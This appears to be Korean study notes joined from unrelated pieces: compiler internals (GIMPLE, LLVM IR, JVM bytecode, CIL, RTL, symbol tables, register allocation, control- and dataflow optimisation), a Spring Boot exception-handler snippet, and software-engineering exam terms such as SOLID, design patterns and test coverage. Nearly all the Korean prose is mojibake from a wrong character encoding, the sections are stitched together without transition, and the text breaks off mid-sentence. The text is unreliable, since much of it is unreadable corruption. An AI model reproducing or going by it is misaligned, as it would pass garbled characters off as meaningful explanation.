์ผ๋ฐ์ ์ผ๋ก ๊ธฐ๊ณ์ด๊ฐ ๊ฐ์ง๋ ํผ์ฐ์ฐ์ ๊ฐ์ <= 3 quadruple : (์ฐ์ฐ์, ํผ์ฐ์ฐ์1, ํผ์ฐ์ฐ์2, ๊ฒฐ๊ณผ) Stack machine code Java byte code, U-code : AST๋ก๋ถํฐ ์์ฑ์ด ์ฉ์ด Tree ํํ ๊ธฐ๊ณ์ด ์์ฑ ์ฉ์ด IR ์์ GCC - GIMPLE (3-address code) GCC์ ์ค๊ฐ์ฝ๋ : GENERIC -> GIMPLE -> RTL 1D.1954 = x*10 // D.1954๋ ์์๋ณ์ 2gimple_assign <mult_exprt, D.1954, x, 10> LLVM - bit (3-address code) LLVM IR : ์ธ์ด์ ๋จธ์ ์ ๋
๋ฆฝ์ 1@var = global i32 14 ; ์ ์ญ๋ณ์ var์ 14 ๋์
2define i32 @main() nounwind { ; i32(int) ๋ฐํํ 3 entry: 4 %a = alloca i32, align 4 ; ์ง์ญ๋ณ์ a ์ ์ธ, int ํ ๋น 5 %1 = load i32 * @var ; %1 ์์๋ณ์์ var๊ฐ ๋์
6 ret i32 %1 ; ์์๋ณ์ ๊ฐ ๋ฐํ 7} JVM - byte code (stack machine code) ๊ฐ์ ๊ธฐ๊ณ ์ฝ๋ (Bytecode, MSIL) ๊ฐ์ ๊ธฐ๊ณ์์ ๋์ํ๋๋ก ํจ ์ด์์ฑ, ํธํ์ฑ์ด ๋ชฉ์ : java bytecode๋ machine ํธํ์ฑ, c# msil์ language ํธํ์ฑ 1public Employee(String strName, int num) 2{name = strName; idNumber = num; storeData(strName, num);} 3Method Employee(java.lang.String, int) 4 50 aload_0 ; 0๋ฒ์งธ ๋ก์ปฌ๋ณ์(this)๋ฅผ ์คํ์ push 61 invokespecial #3 <Method java.lang.Object()> ; ํจ์ ํธ์ถ 7--- 84 aload_0 95 aload_1 ; strName์ ์คํ์ push 106 putfield #5 <Field java.lang.String name> ; name์ strName ๋์
11--- 129 aload_0 1310 iload_2 ; num์ ์คํ์ push 1411 putfield #7 <Field int idNumber> ; idNumber์ num ๋์
15--- 1614 aload_0 1715 aload_1 ; strName์ ์คํ์ push 1816 iload_2 ; num์ ์คํ์ push 1917 invokespecial #9 <Method void storeData(java.lang.String, int)> ; ํจ์ ํธ์ถ 2020 return line number : ๋ช
๋ น์ด ์์ํ๋ ๋ฐ์ดํธ ์ฃผ์ aload : ๊ฐ์ฒด๋ฅผ push, iload : ์ ์๋ฅผ push ์๋๋ aload๊ฐ ๋ช
๋ น, ์์ฃผ ์ฐ๋ ๋ช
๋ น aload 0์ ๋ฌถ์ด์ bind -> aload_0 CIL (Common Intermediate Language) (stack machine code) C#, VB.NET, J# ๋ฑ์์ ์ฌ์ฉ MSIL์ ์๋ ์ด๋ฆ 1.assembly Hello {} ; .assembly: ์ด์
๋ธ๋ฆฌ ์ ์ธ 2.assembly extern mscorlib {} 3.method static void Main() { 4 .entrypoint 5 .maxstack 1 6 ldstr "Hello, world!" ; stack์ ์ ์ฅ 7 call void [mscorlib]System.Console::WriteLine(string) 8 ret 9} GCC RTL(Register Transfer Language) (Tree๊ตฌ์กฐ ์ฝ๋) Lisp S-expression ์ฌ์ฉ 1(set (reg:SI 140) 2 (plus:SI (reg:SI 138) 3 (reg:SI 139))) => reg140 = reg138+reg139 IR generation 3-address Translation ๊ท์น Binary operations: t = [[el OP e2]] Unary operations: t = [[OP el]] Array access: t = [[ v[e] ]] Structure access: t = [[ v.f ]] Short-circuit OR: t = [[ el SC-OR e2]] Statement sequence: [[s1; s2; ...; sN]] Variable assignment: [[ v = e ]] Array assignment: [[ v[e1] = e2 ]] If: [[ if(e) then s ]], [[ if(e) then s1 else s2]] While: [[ while (e) s ]] Switch: [[ switch (e) case v1:s1, ..., case vN:sN ]] Function Call: [[ call f(e1, e2, ..., eN) ]] Fucntion Return: [[ return e ]] Statement Expression Statement๋ expression ์ฒ๋ผ ๊ฐ์ ๊ฐ์ง๋๋ก ํ์ฅ t = [[ S ]]๋ฅผ ์ถ๊ฐํ์ฌ ๊ฒฐ๊ณผ๊ฐ์ ์ ์ฅํ์ Nested Expressions t = [[ (a - b) * (c + d) ]] t = [[ if c then if d then a = b ]] ๊ฐ์ฅ ํฐ ๋ฉ์ด๋ฆฌ๋ถํฐ ๋ฐ๊พผ๋ค Storage Management 2๊ฐ์ง Storage Register : ๋น ๋ฅธ ์ ๊ทผ, ๊ฐ์ ์ ๊ทผ ๋ถ๊ฐ Memory : ์๋์ ์ผ๋ก ๋๋ฆฐ ์ ๊ทผ, ๊ฐ์ ์ ๊ทผ ๊ฐ๋ฅ 2๊ฐ์ง ์ ๊ทผ ๋ฐฉ์ All memory approach ๋ชจ๋ ๋ณ์๋ฅผ memory์ ์ ์ฅ, ๊ฐ๋ฅํ๊ฒ๋ง register Standard approach Global, Statics, Local(composite)๋ memory์ ์ ์ฅ Local(scalar)๋ memory ๋๋ virtual register์ ์ ์ฅ Memory์ 4๋ ์์ญ Code space : ๋ช
๋ น์ด๋ฅผ ์ ์ฅ read-only์ผ๋ ๋น ๋ฆ Static data : ํ๋ก๊ทธ๋จ๊ณผ lifetime์ ํจ๊ปํ๋ ๋ฐ์ดํฐ Stack : Local ๋ณ์๋ค Heap : ๋์ ์ผ๋ก ํ ๋น๋๋ ๋ฐ์ดํฐ File Format Windows : PE (Portable Executable) Unix : ELF (Executable and Linkable Format) ๋ณ์ ๋ฐ์ธ๋ฉ environment : <๋ณ์, storage location> ์ ๋ณด state: <๋ณ์, ๊ฐ> ์ ๋ณด ์ด๋ค ๋ณ์ N์ด storage location S์ ์ง์ ๋๋ฉด ๋ฐ์ธ๋ฉ ๋๋ค๊ณ ํ๋ค Static Allocation ํ๋ก๊ทธ๋จ ์ํํ๋ ๋์ ๋ณํ์ง ์๋ location์ผ๋ก ๋ฐ์ธ๋ฉ Heap Allocation ์ฐ์์ ์ธ global ์์ญ์ ์ผ๋ถ๋ฅผ OS๋ก๋ถํฐ ๋ฐ์ ๊ฒ ํ๋ก๊ทธ๋จ ์ํ ์ค ์์ฒญ๊ณผ ๋ฐํ Stack Management Run-time stack : ํ ํจ์ call๋ง๋ค ํ๋์ฉ๋๋ frames Activation record : ํจ์ ์ํ์ ์ํ execution env(local var, parameter, return address, etc.) Top frame : ํ์ฌ ์ํ์ค์ธ ํจ์์ frame Stack pointers SP : Frame top FP : Frame base ๋ ๊ฐ๋ฅผ ์ฐ๋ ์ด์ ๊ฐ๊น์ด ๊ฑฐ ๊ธฐ์ค์ผ๋ก offset ๊ณ์ฐ -> small offset ์ ์ง ์ํ ์ค top frame์ ์์น๋ฅผ ์ ์ ์์ Semantic Analysis - Symbol Tables Scope Identifier: ์๋ณ์ Lexical Scope: ํน์ ๋ฒ์ ์๋ณ์์ Scope: ๊ทธ ์๋ณ์์ ์ ์ธ์ด ์ฐธ์กฐ๋๋ lexical scope Symbol Table Name Kind Type Attribute foo func int, int -> int extern m arg int tmp var char const ํ๋์ lexical๋ง๋ค ํ๋์ symbol table symbol table์ ๊ณ์ธต์ ์ด๋ค ํ์ฌ scope์ ์์ผ๋ฉด ์์ scope๋ก ์ฌ๋ผ๊ฐ๋ฉด์ ์ฐพ๋๋ค Symbol Table Implementation AST๊ฐ ๋ง๋ค์ด์ ธ์ผ ๊ฐ๋ฅ Local Table์ hash table ์ฌ์ฉ Global Table์ N-array tree ๊ตฌ์กฐ ์ฌ์ฉ ์ฝ๋๋ฅผ ์์ฐจ๋๋ก ์ฝ์ผ๋ฉด์ ๋ง๋ฌ (scope ์คํ์ ์ฌ์ฉ) Type Checking Type Expressions Array types: T[], T[10] Structure types : {id1: T1, id2: T2 …} Pointer types: T* Function types: T1 X T2 X … X Tn -> T_return Type Judgement A โ E : T A ์ํฉ์์ E๋ Tํ์
์ ๋ง์กฑํ๋ค
A โ if(E) S1 else S2 : T ์ ์กฐ๊ฑด์ ๋ชจ๋ E, S1, S2, A, T์ ๋ํ ๊ฐ์ ์ด ์ฑ๋ฆฝํ ๋ ๊ฒฐ๋ก T๊ฐ ์ฑ๋ฆฝํ๋ค
Proof Tree (ํ์
์ ๋ ํธ๋ฆฌ) ์ญ์ผ๊ฐํ ๋ชจ์ ๋ง์กฑํ๋ proof tree๊ฐ ์๋ค -> ํ์
์ค๋ฅ๊ฐ ์๋ค ๊ทธ ์ธ Semantic Analyses break, continue, goto ๋ฌธ์ด ์ฌ๋ฐ๋ฅธ ์์น์ ์๋ ์ง ๋ฑ ์ปดํ์ผ๋ฌ ํ๋ฐ๋ถ (๋น ๋ฅด๊ณ , ์ค์ ๋์๊ฐ๋ ์ฝ๋๋ก ๋ฐ๊พธ๊ธฐ) Instruction Selection Tree ๊ธฐ๋ฐ Intermediate Representation MEM(e) : ์ฃผ์ e๋ก ์์ํ๋ ๋ฉ๋ชจ๋ฆฌ ํ word์ ๋ด์ฉ TEMP(t) : ๋ ์ง์คํฐ t SEQ(s1, s2): ๋ฌธ์ฅ s1 ์ํ ํ s2 ์ํ ESEQ(s, e): ๋ฌธ์ฅ s ์ํ ํ (๊ฒฐ๊ณผ ์์) e๊ฐ ์ถ๊ฐ ์ํ BINOP(o, e1, e2) : ์ฐ์ฐ์ o, ํผ์ฐ์ฐ์ e1, e2, ๊ฒฐ๊ณผ ์ ์ฅ๋ ์ฃผ์ ๋ฐํ const(i): ์ ์ ์์ i Register Allocation ์ต์ ํ ํ๊ธฐ ์ํด ์ต๋ํ ์์ฃผ ์ฌ์ฉ๋๋ ๊ฒ์ Register์ ์ ์ฅ Interference ์๋ก ๋ค๋ฅธ ๋ definition์ด live range ์์ ๊ณตํต operation์ ๊ฐ์ง๊ณ ์๋ ๊ฒฝ์ฐ
Interference Graph : ์๋ก interfere ํ๋ฉด ์ฐ๊ฒฐํ๋ ๊ทธ๋ํ Graph coloring : ์ฐ๊ฒฐ๋ ๋
ธ๋๋ ๋ค๋ฅธ ์์ผ๋ก ์น ํ๊ธฐ Instruction Scheduling instruction์ ์์๋ฅผ ๋ฐ๊พธ์ด stall ๊ฐ์ ๋ฑ์ ์ค์ฌ์ ์ํ์๋๋ฅผ ๋์ด๋ ๊ฒ
stall : ๋ค๋ฅธ ๋ช
๋ น์ด ์ํ์ ๊ธฐ๋ค๋ฆฌ๋๋ผ CPU๋ฅผ ๋ญ๋นํ๋ ๊ฒ ๋ชฉํ Wasting time์ ์ค์ธ๋ค ๋์ผํ ์ฝ๋๊ฐ ๋์์ผํ๋ค register spilling์ ํผํด์ผํ๋ค Static scheduling ๋จ๊ณ Local basic scheduling, Loop scheduling, global scheduling Local basic scheduling List scheduling : greedy, heuristic, local technique ์ฌ์ฉ precedence graph๋ฅผ ๋ง๋ ๋ค ๊ฐ ๋
ธ๋์ priority function์ ์ ์ฉํ๋ค “ready-operation queue"๋ฅผ ์์ ready operation์ ํ๋ ์ ํ ํ scheduling, ready operation queue๋ฅผ ์
๋ฐ์ดํธํ๋ค. Longest latency-weighted path๋ฅผ ์ด์ฉํด์ ์ฐ์ ์์๋ฅผ ์ ํ๋ค ๊ธฐํ Optimization ๋ฐฉ๋ฒ addr r1 1 -> inc r1 ํน์ ์ฑ์ง์ ๋ ์ง์คํฐ ํ์ฉ ํน์ ๋ชฉ์ ์ ๋ช
๋ น์ด ํ์ฉ Register ๊ฐ mov ์ ๊ฑฐ ์ค๋ณต๋ load ์ ๊ฑฐ Control Flow Optimizations(์ต์ ํ) ์ฃผ์ด์ง ์
๋ ฅ ํ๋ก๊ทธ๋จ์ ์ข ๋ ํจ์จ์ ์ธ ์ฝ๋๋ก ๋ฐ๊พธ๋ ๊ฒ
์ฌ๋ฌ๊ฐ์ง ๋ถ๋ฅ ๋ฐฉ๋ฒ ๋ถ์ : Control Flow Analysis vs Data Flow Analysis ์ต์ ํ Inner basic block(local) vs Inter basic block(global) Cyclic code opt vs Acyclic code opt Control Flow Analysis Control Flow ํ๋ก๊ทธ๋จ์ ๊ฐ๋ฅํ ์ํ์์ (๋ถ๊ธฐ)
Branch Execution -> dynamic control flow : ์คํ ํด๋ด์ผ ํ์ธ ๊ฐ๋ฅ Compiler -> static control flow : ์ปดํ์ผ๋ฌ๊ฐ ๋ถ์ํด์ ์ ์ ์์ Analysis ์ ์ ์ฑ์ง (static property): ํ๋ก๊ทธ๋จ ์ํ ์์ด ๋์ถ ๋๋ ์ฑ์ง CFA(Control Flow Analysis) : ์ฝ๋์ ๋ถ๊ธฐ ๊ตฌ์กฐ๋ฅผ CFG ํํ๋ก ํํ Basic Block ๋์ผํ execution condition์ ์ ์ฉ๋ฐ๋ instruction ๋ฌถ์
instruction ์ธ์๋ branch๊ฐ ์์ Maximal basic block ๊ตฌํ๊ธฐ BB์ leader(์ฒซ๋ฒ์งธ instruction)๋ฅผ ์ฐพ๋๋ค ๋ค์ leader ์ด์ ๊น์ง์ instruction์ ๊ตฌํ๋ค Weighted CFG Profiling: ๋ฐ๋ณตํด์ ์ํํด๋ณด๋ฉด์ ์คํํ์๋ฅผ ์ป์ ์ป์ weight๋ฅผ edge์ ํ์ Control Flow Optimization Acyclic Code Loop๊ฐ ์๋ ์ฝ๋
๋ถ์ ๋ฐ ์ต์ ํ๊ฐ ์๋์ ์ผ๋ก ์ฌ์
์ข
๋ฅ
Inner basic block opt. = Intra opt. = Local opt. Inter basic block opt. = Global opt. Inner Basic Block Optimization Commn subexpression elimination ๊ณตํต๋ ๋ถ๋ถ์ด ์์ผ๋ฉด ํ๋ฒ๋ง ๊ณ์ฐ Algebraic simplification ๋์๋ฒ์น์ ์ด์ฉํ์ฌ ์์ ๊ฐ์ํ ex) x=1*y; -> x=y; Strength reduction ์ฐ์ฐ์์ ๋น์ฉ์ด ์ ์ ๊ฒ์ผ๋ก ๋ฐ๊พธ๊ธฐ ex) x=x*2; -> x=x+x; ex) y=a/4; -> y=a>>2; Constant folding / propagation folding: ์ปดํ์ผ ์๊ฐ์ ์์์์ ์ง์ ์๊ฐ propagation : ๊ณ ์ ๋ ๊ฐ์ ๊ฐ์ง๋ ๋ณ์๋ฅผ ์์๋ก ๋์ฒด Inter Basic Block Optimization Global application of inner basic block optimization
Global common subexpression elimination basic block ๊ฐ์ ๊ณตํต ๋ถ๋ถ์์ ๋ํด ํ๋ฒ๋ง ๊ณ์ฐ Global constant folding / propagation basic block ๊ฐ์ ์์๋ฅผ ์ธ์ํ์ฌ ํ๋ฒ๋ง ๊ณ์ฐ Other transformation
Branch to unconditional branch ๋ถํ์ํ ๋ถ๊ธฐ ์ ๊ฑฐ Unconditional branch to branch ๋ถ๊ธฐ ํ ๋ฐ๋ก ๋ถ๊ธฐ -> ๋ถ๊ธฐ ํ๋ฒ์ผ๋ก ๋ณ๊ฒฝ Branch to next basic block (next instr) ๋ถ๊ธฐ ํ ๋ฐ๋ก ๋ค์ basic block์ผ๋ก ๋ถ๊ธฐ ์ ๊ฑฐ Basic block merging ๋ basic block์ ํฉ์นจ Branch to same target ๊ฐ์ basic block์ผ๋ก ๋ถ๊ธฐํ๋ ๊ฒ์ ์ ๊ฑฐ Branch target expansion ๋ถ๊ธฐ ๋์์ด ๋๋ basic block์ ํฉ์นจ Unreachable code elimination Entry์์ ๋๋ฌํ ์ ์๋ ‘unreachable’ block ์ ๊ฑฐ Loop Optimization Loop๋ ํ๋ฒ optimizeํ๋ฉด ํจ๊ณผ๊ฐ ํฌ๋ค Loop unrolling : ๋ฐ๋ณต๋ฌธ์ ํ์ด์ ๋ฐ๋ณต ํ์๋ฅผ ์ค์ Loop invarient : ๋งค๋ฒ ๋์ผํ ๊ฐ์ ๋ด๋ ๋ฌธ์ฅ์ ๋ฐ๋ณต๋ฌธ ๋ฐ์ผ๋ก ๋นผ๋ Count up to zero : i๋ฅผ ๊ฐ์ํ๋ ๋ฐ๋ณต๋ฌธ์ผ๋ก ๋ณ๊ฒฝ (i๋ฅผ 0๊ณผ ๋น๊ตํ๋ ๊ฒ์ด n๊ณผ ๋น๊ตํ๋ ๊ฒ๋ณด๋ค ๋น ๋ฆ) Dataflow Analysis + Optimization Dataflow Analysis ํ๋ก๊ทธ๋จ ๋ด์ ๊ฐ data ๊ฐ๋ค์ด ์์ฑ/์๋ฉธ๋๋ ์ ๋ณด๋ฅผ ๋ชจ์ผ๋ ๊ฒ Reaching Definition Analysis definition : ํด๋น ๋ณ์๊ฐ assign๋๋ ๊ฒ reach : definition d๊ฐ ํน์ ์์น p์ ๋๋ฌํ๋ค kill : definition d์ ๋๊ฐ์ ํฌ์ธํธ์ฌ์ด์์ ๋ค๋ฅธ definition์ด ์กด์ฌํ๋ค GEN/KILL GEN: ๋ธ๋ก ๋ด์์ ์์ฑ๋ definition KILL: ๋ธ๋ก ๋ด์์ ์๋ฉธ๋ definition IN/OUT IN : ์ด์ ๋ธ๋ก์ OUT์ ํฉ์งํฉ OUT : IN์์ GEN์ ๋ํ๊ณ KILL์ ๋บ ๊ฒ 1. ํด๋์ค ์ ์ 1@Getter 2@RequiredArgsConstructor 3public class ExceptionResponse { 4 private final LocalDateTime timestamp = LocalDateTime.now(); // 2023-08-01T00:00:57.5995502 5 private final int status; // 400 6 private final String error; // MethodArumentNotValidException 7 private final String message; // ์ด๋ฉ์ผ ํ์์ด ์๋๋๋ค 8 private final String path; // /api/customer 9} ๋ด๊ฐ ์ํ๋ ๋ฐฉ์๋๋ก ํด๋์ค๋ฅผ ์ ์ํ๋ค, ์ฃผ์์๋ ํด๋น ํ๋์ ์์๋ฅผ ์ ์ด๋์๋ค 2. ResponseEntity ๋ง๋๋ ํจ์ ์ ์ 1private ResponseEntity<ExceptionResponse> handleException(HttpStatus status, Exception e, HttpServletRequest request) { 2 ExceptionResponse response = new ExceptionResponse( 3 status.value(), e.getClass().getSimpleName(), e.getMessage(), request.getRequestURI()); 4 return new ResponseEntity<>(response, status); 5} ์์ธ ์ฒ๋ฆฌํ ๋๋ง๋ค ExceptionResponse ๊ฐ์ฒด๋ฅผ ๋ง๋ค๋ฉด ๋ฐ๋ณต๋๋ ์ฝ๋๊ฐ ๋ง์ด ์๊ฒจ ํจ์๋ก ๋ง๋ค์๋ค ์์ธ๊ฐ ๋ฐ์ํ ์ํฉ์ ๋ฐ๋ผ์ HttpStatus๋ฅผ ๋ค๋ฅด๊ฒ ์ง์ ํ ์ ์๋๋ก ํจ์์ ์ธ์๋ก ๋ฐ์๋ค 3. ์์ธ ์ฒ๋ฆฌ 1@ExceptionHandler(NoSuchElementException.class) 2public ResponseEntity<ExceptionResponse> handleNoSuchElementException(NoSuchElementException e, HttpServletRequest request) { 3 return handleException(HttpStatus.NOT_FOUND, e, request); 4} ๋ณธ ํจ์๋ @RestControllerAdvice๊ฐ ๋ถ์ ํด๋์ค์ ์ ์๋์๋ค ์ง์ ์ ์ํ ํจ์๋ฅผ ํธ์ถํด์ ResponseEntity๋ฅผ ๋ง๋ค์ด ๋ฐํํ๋ค ์ ๋ฆฌ ์์ ์์๋ NoSuchElementException์ด ๋ฐ์ํ์ ๋, HTTP ์ํ์ฝ๋๋ 404, body๋ ๋ด๊ฐ ์ ์ํ๋๋ก ์๋ตํ๋ ์ฝ๋์ด๋ค REST Api์์ ์ผ๊ด์ฑ์๊ณ ๊ฐ๊ฒฐํ ์๋ต์ ๋ณด๋ด๊ธฐ ์ํด ํ๋ฒ ์ ๋ฆฌํด๋ณด์๋ค ๋ณผ๋์ฒด์ ๊ฐ๋
์ ๊ธฐ์ถ ๋ฌธ์ ์์ ๋ฑ์ฅ, ๋๋จธ์ง ๊ฐ๋
์ ๋ชจ์๊ณ ์ฌ์์ ๋ฑ์ฅ SW ๊ณตํ ๊ด๋ จ ๊ฐ๋
SOLID ์์น S : ๋จ์ผ ์ฑ
์ ์์น (SRP) O : ๊ฐ๋ฐฉ ํ์ ์์น (OCP) : ํ์ฅ์๋ ์ด๋ ค ์์ด์ผ ํ๊ณ , ์์ ์๋ ๋ซํ ์์ด์ผ ํ๋ค๋ ์์น L : ๋ฆฌ์ค์ฝํ ์นํ ์์น (LSP) : ์๋ธํ์
์ ์ธ์ ๋ ์์ ์ ๊ธฐ๋ฐ ํ์
์ผ๋ก ๊ต์ฒดํ ์ ์์ด์ผ ํ๋ค๋ ์์น I : ์ธํฐํ์ด์ค ๋ถ๋ฆฌ ์์น (ISP) D : ์์กด ์ญ์ ์์น (DIP) : ์ถ์ํ์ ์์กดํด์ผ ํ๋ค๋ ์์น SOA(Service-Oriented Architecture) : ์๋น์ค ์งํฅ ์ํคํ
์ฒ Walk Through : ๊ฒํ ์๋ฃ๋ฅผ ํ์ ์ ์ ๋ฐฐํฌํด์ ์ฌ์ ๊ฒํ ํ ํ ์งง์ ์๊ฐ ๋์ ํ์๋ฅผ ์งํํ๋ ํํ๋ก ๋ฆฌ๋ทฐ๋ฅผ ํตํด ์ค๋ฅ๋ฅผ ๊ฒ์ถํ๊ณ ๋ฌธ์๋ก ๋ง๋๋ ๊ธฐ๋ฒ ์ ํ ๋ช
์ธ ๊ธฐ๋ฒ : ์ฌ์ฉ์์ ์๊ตฌ๋ฅผ ํํํ ๋ ์ํ์ ์๋ฆฌ์ ํ๊ธฐ๋ฒ์ผ๋ก ์์ ํ๋ ๊ธฐ๋ฒ ๋์์ธ ํจํด Abstract Factory Pattern : ์์ฑ ํจํด; ๊ฐ์ฒด ์์ฑ์ ๋ํ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํ๊ณ , ๊ตฌ์ฒด์ ์ธ ํด๋์ค๋ ์๋ธํด๋์ค์์ ์ ์ํ๋ ํจํด Decorator Pattern : ๊ตฌ์กฐ ํจํด; ๊ฐ์ฒด์ ์ถ๊ฐ์ ์ธ ์ฑ
์์ ๋์ ์ผ๋ก ๋ถ์ฌํ๋ ํจํด Memento Pattern : ํ์ ํจํด; ๊ฐ์ฒด์ ์ํ๋ฅผ ์ ์ฅํ๊ณ ๋ณต์ํ๋ ํจํด Factory Method Pattern : ์์ฑ ํจํด; ๊ฐ์ฒด ์์ฑ์ ๋ํ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํ๊ณ , ๊ตฌ์ฒด์ ์ธ ํด๋์ค๋ ์๋ธํด๋์ค์์ ์ ์ํ๋ ํจํด Bridge Pattern : ๊ตฌ์กฐ ํจํด; ์ถ์ํ์ ๊ตฌํ์ ๋ถ๋ฆฌํ์ฌ ๋
๋ฆฝ์ ์ผ๋ก ํ์ฅํ ์ ์๋๋ก ํ๋ ํจํด Observer Pattern : ํ์ ํจํด; ๊ฐ์ฒด์ ์ํ ๋ณํ์ ๋ฐ๋ผ ๋ค๋ฅธ ๊ฐ์ฒด์ ์๋ฆผ์ ๋ณด๋ด๋ ํจํด Proxy Pattern : ๊ตฌ์กฐ ํจํด; ๋ค๋ฅธ ๊ฐ์ฒด์ ๋ํ ์ ๊ทผ์ ์ ์ดํ๋ ๋๋ฆฌ ๊ฐ์ฒด๋ฅผ ์ ๊ณตํ๋ ํจํด Iterator Pattern : ํ์ ํจํด; ์ปฌ๋ ์
๊ฐ์ฒด์ ๋ด๋ถ ๊ตฌ์กฐ๋ฅผ ๋
ธ์ถํ์ง ์๊ณ ์์ฐจ์ ์ผ๋ก ์ ๊ทผํ ์ ์๋๋ก ํ๋ ํจํด ์ด์ ํ์ : ๋ฐ์ดํฐ๋ฅผ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅํ ๋ ๋ถํ์ํ๊ฒ ์ค๋ณต๋์ด ๋ฆด๋ ์ด์
์กฐ์์ ์๊ธฐ์น ๋ชปํ ๊ณค๋ํ ํ์์ผ ๋ฐ์ํ๋ ํ์ ๋ฒ๋ค์ด ์ฐจํธ : ๋จ์ ์์
๋์ ์๊ฐ์ ๋ฐ๋ผ ํ์ํ์ฌ ์งํ ์ํฉ์ ์๊ฐ์ ์ผ๋ก ๋ํ๋ด๋ ์ฐจํธ COCOMO : ๋ณดํด์ด ์ ์ํ ํ๋ก๊ทธ๋จ ๊ท๋ชจ์ ๋ฐ๋ผ ๋น์ฉ์ ์ฐ์ ํ๋ ๋ฐฉ์ (์กฐ์งํ, ๋ถ๋ฆฌํ, ์๋ฒ ๋๋ํ) CPM : ํ๋ก์ ํธ์ ์์
์ ๋คํธ์ํฌ ํํ๋ก ํํํ์ฌ ์ ์ฒด ํ๋ก์ ํธ์ ์ผ์ ์ ๊ณ์ฐํ๋ ์๊ณ ๋ฆฌ์ฆ PERT : ๋น๊ด์น, ์ค๊ด์น, ๋๊ด์น์ 3์ ์ถ์ ๋ฐฉ์์ ํตํด ์ผ์ ์ ๊ด๋ฆฌํ๋ ๊ธฐ๋ฒ ๊ฒฐํจ ์ง์ค : 20%์ ๋ชจ๋์์ 80%์ ๊ฒฐํจ์ด ๋ฐ์ํ๋ค๋ ์๋ฆฌ ์ด์ถฉ์ ํจ๋ฌ๋
์ค : ๋์ผํ ํ
์คํธ ์ผ์ด์ค๋ฅผ ๋ฐ๋ณต์ ์ผ๋ก ์คํํ๋ฉด ์๋ก์ด ๊ฒฐํจ์ ๋ฐ๊ฒฌํ์ง ๋ชปํ๋ค๋ ์๋ฆฌ ๋ฐฐ์น ๋ค์ด์ด๊ทธ๋จ : ์์คํ
์ ๋ฌผ๋ฆฌ์ ์ธ ๊ตฌ์กฐ๋ฅผ ๋ณด์ฌ์ฃผ๋ ๋ค์ด์ด๊ทธ๋จ, ์ด๋ค SW๊ฐ ์ด๋ค HW์ ๋ฐฐ์น๋๋์ง๋ฅผ ๋ํ๋ ํจํค์ง ๋ค์ด์ด๊ทธ๋จ : ์์คํ
์ ํจํค์ง ๊ตฌ์กฐ๋ฅผ ๋ํ๋ด๋ ๋ค์ด์ด๊ทธ๋จ ๋ธ๋ฃฉ์ค์ ๋ฒ์น : “๋ฆ์ด์ง ํ๋ก์ ํธ์ ์ธ๋ ฅ์ ์ถ๊ฐํ๋ฉด ์คํ๋ ค ๋ ๋ฆ์ด์ง๋ค"๋ ๋ฒ์น ํ์ดํธ๋ฐ์ค ํ
์คํธ ๊ฒ์ฆ ๊ธฐ์ค ๋ฌธ์ฅ(Statement) ์ปค๋ฒ๋ฆฌ์ง : ํ๋ก๊ทธ๋จ์ ๋ชจ๋ ๋ฌธ์ฅ์ด ์ต์ํ ํ ๋ฒ์ ์คํ๋๋๋ก ํ๋ ๊ธฐ์ค ๋ถ๊ธฐ(Branch) ์ปค๋ฒ๋ฆฌ์ง : ๊ฐ ๊ฒฐ์ ๋ฌธ์ด ์ฐธ, ๊ฑฐ์ง์ ํ ์ด์ ๊ฐ๋๋ก ์กฐํฉํ๋ ์ปค๋ฒ๋ฆฌ์ง ์กฐ๊ฑด(Condition) ์ปค๋ฒ๋ฆฌ์ง : ๊ฒฐ์ ๋ฌธ ๋ด์ ๊ฐ ์กฐ๊ฑด์ด ์ฐธ, ๊ฑฐ์ง์ ํ ์ด์ ๊ฐ๋๋ก ์กฐํฉํ๋ ์ปค๋ฒ๋ฆฌ์ง ๊ฒฐ์ (Decision) ์ปค๋ฒ๋ฆฌ์ง : ๊ฐ ์ ์ฒด ์กฐ๊ฑด์์ ์ฐธ, ๊ฑฐ์ง์ ํ ์ด์ ๊ฐ๋๋ก ์กฐํฉํ๋ ์ปค๋ฒ๋ฆฌ์ง ์์ธ ๊ฒฐ๊ณผ ๊ทธ๋ํ : ํ๋ก๊ทธ๋จ์ ์
๋ ฅ๊ณผ ์ถ๋ ฅ ๊ฐ์ ๊ด๊ณ๋ฅผ ๊ทธ๋ํ๋ก ๋ํ๋ด์ด ํ
์คํธ ์ผ์ด์ค๋ฅผ ๋์ถํ๋ ๊ธฐ๋ฒ ์ํ/๋ฒ ํ ํ
์คํธ : ์ํ-๊ฐ๋ฐ์์ ํจ๊ป ์ํ, ๋ฒ ํ-๊ฐ๋ฐ์ ์์ด ์ํ ๋คํธ์ํฌ ๊ด๋ จ ๊ฐ๋
Hub & Spoke : EAI ๊ตฌ์ถ ์ ํ; ๋จ์ผํ ์ ์ ์ ํ๋ธ ์์คํ
์ ํตํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ์ค์ ์ง์ค์ ๋ฐฉ์ MQTT : IoT ์ฅ์น ๊ฐ ํต์ ์ ์ฌ์ฉ๋๋ ๊ฒฝ๋ ๋ฉ์์ง ํ๋กํ ์ฝ CoAP : M2M ๋
ธ๋๋ค ์ฌ์ด์์ ์ด๋ฒคํธ์ ๋ํ ์ก์์ ์ ๋น๋๊ธฐ์ ์ผ๋ก ์ ์กํ๋ REST ๊ธฐ๋ฐ์ ํ๋กํ ์ฝ ๊ฑฐ๋ฆฌ ๋ฒกํฐ ์๊ณ ๋ฆฌ์ฆ : ๋คํธ์ํฌ ๋ผ์ฐํ
ํ๋กํ ์ฝ์ ํ ์ข
๋ฅ; ๊ฐ ๋
ธ๋๊ฐ ์์ ์ ๊ฑฐ๋ฆฌ์ ์ด์ ๋
ธ๋์ ๊ฑฐ๋ฆฌ ์ ๋ณด๋ฅผ ๊ตํํ์ฌ ์ต์ ๊ฒฝ๋ก๋ฅผ ์ฐพ๋ ์๊ณ ๋ฆฌ์ฆ ๋งํฌ ์ํ ์๊ณ ๋ฆฌ์ฆ : ๋คํธ์ํฌ ๋ผ์ฐํ
ํ๋กํ ์ฝ์ ํ ์ข
๋ฅ; ๊ฐ ๋
ธ๋๊ฐ ์ ์ฒด ๋คํธ์ํฌ์ ์ํ ์ ๋ณด๋ฅผ ์์งํ์ฌ ์ต์ ๊ฒฝ๋ก๋ฅผ ์ฐพ๋ ์๊ณ ๋ฆฌ์ฆ ํ์ ์ ์ด : ๋ ๊ฐ์ ์คํ
์ด์
